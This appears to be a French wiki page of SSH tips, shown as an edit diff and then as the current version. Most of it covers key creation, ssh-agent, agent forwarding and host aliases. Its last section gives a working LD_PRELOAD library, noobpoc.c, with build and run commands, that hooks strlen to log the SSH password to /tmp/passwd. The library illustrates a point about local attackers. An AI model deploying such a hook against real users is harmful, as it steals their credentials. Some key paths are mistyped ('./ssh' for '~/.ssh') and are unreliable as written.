« Astuces ssh » : différence entre les versions
mAucun résumé des modifications |
Aucun résumé des modifications |
||
(6 versions intermédiaires par 4 utilisateurs non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
Voir aussi [[SSH]]. | |||
==Créer un couple de clefs :== | ==Créer un couple de clefs :== | ||
$ ssh-keygen -t | $ ssh-keygen -t ed25519 | ||
Si ton disque dur n'est pas chiffré (Bitlocker sur Windows, FireVault sur macOS, LUKS sur Linux), il est '''impératif''' d'utiliser une ''passphrase''. Dans le cas contraire, c'est optionnel quoique recommandé. | |||
L'algorithme ed25519 est le type de clé utilisé par défaut et recommandé depuis OpenSSH 9.5 (octobre 2023). Il supplante rsa qui avait l'inconvénient de générer des clés très longues (d'autant plus que le paramètre de taille était grand). | |||
==Mettre la clef sur le serveur cible :== | ==Mettre la clef sur le serveur cible :== | ||
Ligne 8 : | Ligne 13 : | ||
$ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub | $ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub | ||
==Pour ne pas avoir à | ==Pour ne pas avoir à déchiffrer la clef à chaque utilisation, mais tout en la gardant en sécurité :== | ||
Démarrer ssh-agent: | Démarrer ssh-agent: | ||
$ eval $(ssh-agent) | $ eval $(ssh-agent) | ||
Ligne 47 : | Ligne 52 : | ||
==Mais un pirate peut me voler ma clef !!!== | ==Mais un pirate peut me voler ma clef !!!== | ||
Oui, mais elle est | Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp : | ||
noobpoc.c | noobpoc.c | ||
#include <stdlib.h> | #include <stdlib.h> | ||
Ligne 84 : | Ligne 89 : | ||
[[catégorie: Informatique]] | [[catégorie: Informatique]] | ||
[[Catégorie:Tutoriels]] |
Version actuelle datée du 22 février 2024 à 19:20
Voir aussi SSH.
Créer un couple de clefs :
$ ssh-keygen -t ed25519
Si ton disque dur n'est pas chiffré (Bitlocker sur Windows, FireVault sur macOS, LUKS sur Linux), il est impératif d'utiliser une passphrase. Dans le cas contraire, c'est optionnel quoique recommandé.
L'algorithme ed25519 est le type de clé utilisé par défaut et recommandé depuis OpenSSH 9.5 (octobre 2023). Il supplante rsa qui avait l'inconvénient de générer des clés très longues (d'autant plus que le paramètre de taille était grand).
Mettre la clef sur le serveur cible :
$ ssh-copy-id -i ./ssh/id_dsa.pub serveur
ou bien ( en moins bien ) :
$ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub
Pour ne pas avoir à déchiffrer la clef à chaque utilisation, mais tout en la gardant en sécurité :
Démarrer ssh-agent:
$ eval $(ssh-agent)
Ajouter une clef :
$ ssh-add
Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B ) :
ForwardAgent yes
Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.
Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :
keychain ~/.ssh/id_rsa ~/.ssh/id_dsa source ~/.keychain/*-sh
à votre .bash_profile.
Utiliser des pseudo alias :
Dans un fichier texte ssh-aliases
#!/bin/bash ssh $(basename $0) "$@"
puis le rendre utilisable :
chown root:root ssh-aliases && chmod 755 ssh-aliases && mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.
enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :
for namae in $(cat machines); do ln -s ~/bin/{ssh-aliases,$namae} done
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.
Mais un pirate peut me voler ma clef !!!
Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp :
noobpoc.c #include <stdlib.h> #include <string.h> #include <stdio.h> void record_pwd (char *str) { FILE*f = fopen("/tmp/passwd","a"); fprintf(f,"%s\n",str); fflush (f); fclose(f); } size_t strlen(const char * s ) { static char ready = 0; static char dead = 0; if ( !dead && ready ) { record_pwd(s); dead = 1; } if ( !dead && !strcmp( s, "Password: ") ) { ready = 1; } /* Does da job... */ int i = 0; while ( s[i++] ); return (size_t) (i-1); }
gcc -fPIC noobpoc.c -c -w -Wall -std=c99 gcc -shared -o libnoobpoc.so noobpoc.o -lc
Kaboom sur simple modification de l'environnement :
LD_PRELOAD=./libnoobpoc.so ssh localhost
Le mdp est dans /tmp/passwd...